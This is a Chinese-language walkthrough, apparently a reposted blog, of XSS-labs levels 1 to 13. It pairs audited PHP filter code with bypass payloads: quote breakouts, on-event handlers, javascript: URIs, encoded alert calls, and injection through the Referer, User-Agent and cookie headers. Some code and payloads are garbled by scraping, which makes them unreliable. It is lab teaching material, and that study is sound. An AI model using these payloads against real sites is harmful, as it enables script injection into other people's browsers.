【安全】Xsslabs(1~13)基于白盒测试浅析

目录

环境

关卡

level 1 

level 2 

level 3 

level 4 

level 5 

level 6

level 7

level 8  

扩展 

 level 9

level 10

level 11 

 level 12

level 13 

 总结


环境

        PHP:php7.3.4nts 

        中间件:Nginx1.15.11

        工具:Hackbar

关卡

level 1 

 

 【安全】Xsslabs(1~13)基于白盒测试浅析_第1张图片

代码审计:

  Dom反射型,url -> web

$str = $_GET["name"];
echo "

欢迎用户".$str."

"; //可以看到没有对输入有任何过滤 //意思就是我们可以任意操控$str的内容,那就可以用"把name的传的值先闭合了 //如果name的值传的是1" //那解析后就会变成 echo "

欢迎用户"1""

";

 

 byPass:考查 -- 闭合双引号

"
"
"
"aaa
"
"
"
" (这个是成功的,只是不算过关而已)
"
"
(挑着没被过滤掉的用就行,后边也有能用着的)

  

level 2 

 【安全】Xsslabs(1~13)基于白盒测试浅析_第2张图片

         初步观察有点像普通反射型xss(url -> 服务器 -> web)

代码审计:

$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
(发现这玩意两头通,如果走下面的input就是普通反射,走url就是dom反射) 注意:.htmlspecialchars($str).是把str中的" < > &都变成html实体了, 所以不会解析出来,所以那里是走不通的

byPass:考查 -- 闭合input标签 ">

">
" onmouseover="alert(1) (也可也直接在input里玩)
//记着str的前后内容"'str'">
...

 

 

level 3 

【安全】Xsslabs(1~13)基于白盒测试浅析_第3张图片 

        和2的样子差不多,直接试试2的bypass能过不 

         显然,没闭合上

代码审计:

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"."

        分析 :这里很贴心的营造了能过关的环境,htmlspecialchars转换默认是不会转换 ' 的,所以只需要 ' 闭合value后,在input中使用on触发事件即可

        尝试  ' οnclick=alert(1)

         后边还差个单引号

bypass:考查 -- 在默认情况下绕过htmlspecialchars

' onclick=alert(1)'
' onmouseover='alert(1)
...

 

level 4 

 【安全】Xsslabs(1~13)基于白盒测试浅析_第4张图片

 

 

        传个双引号发现前端变这样了,决定试一下" οnclick="alert(1) ..过了

代码审计:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

   分析:只是把左右尖括号给替换掉了,不用标签就行,直接on触发事件

byPass:

" onclick="alert(1)
on...

 

level 5 

 【安全】Xsslabs(1~13)基于白盒测试浅析_第5张图片

 

         感觉level4那些on事件能行,试上一试

 

         on被替换成o_n了

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("

   分析:先是把传的值变小写了,然后把

byPass:

javascript:alert(1)
解析出来是javascript:alert(1)

 

 level 9

【安全】Xsslabs(1~13)基于白盒测试浅析_第9张图片

        先把level8的来试一试 

         看来是对输入进行了判断

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);


友情链接'; } else { echo '

友情链接
'; } ?>

        试一下把alert(1) 换成 alert( 'http://' )

         成功了

byPass:

javascript:alert('http://')

还可以把后边的alert换成url编码
javascript:%61%6c%65%72%74%28'http://'%29

 

level 10

 【安全】Xsslabs(1~13)基于白盒测试浅析_第10张图片

         在前端代码里找到了点好玩的东西(下面的隐藏属性)

【安全】Xsslabs(1~13)基于白盒测试浅析_第11张图片

         传参看看能传进去不

 

        发现t_sort居然传进去了,直接动手换type

 

 

 

        现在t_sort的value到type的空间已经可以任意施为了 

 

 byPass:

keyword=1&t_sort=" onclick=alert(1) type="text"

 顺便看看代码:很明显能传俩参数

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

 

level 11 

 【安全】Xsslabs(1~13)基于白盒测试浅析_第12张图片

         有点像level 10再看看

【安全】Xsslabs(1~13)基于白盒测试浅析_第13张图片

        好家伙,多了个t_ref看着是个url从名字上来看是referer 

         传着看看

【安全】Xsslabs(1~13)基于白盒测试浅析_第14张图片

        t_ref没传进去,显然不是参数,t_sort传进去了?!莫非...

        ?keyword=1&t_sort=" type="text" 玩进去试试,没生效,看来是被过滤成文本了

 

代码审计:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

  分析:t_sort的值用htmlspecialchars过滤了,逃不出去只能从t_ref动手,t_ref的值是referer所以传来试试

【安全】Xsslabs(1~13)基于白盒测试浅析_第15张图片

 

 byPass:

 

 level 12

 【安全】Xsslabs(1~13)基于白盒测试浅析_第16张图片

 

         这属性有点眼熟

         实验一下

 

        通了,这算是一个题考两次了 

顺便看代码:

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

 

level 13 

 【安全】Xsslabs(1~13)基于白盒测试浅析_第17张图片

 

        看着有点眼熟,cookies试一试

         错了,应该没这么简单,需要有正确的cookies

 

        这是现在的cookies

 byPass:

 

 【安全】Xsslabs(1~13)基于白盒测试浅析_第18张图片

 总结

        这些xss都较为简单,包括了一些解析顺序,编码方式,请求头的一丢丢知识,但都只是selfxss,不堪大用,不过作为xss入门还是很好的。

你可能感兴趣的:(网络,安全,xss,前端)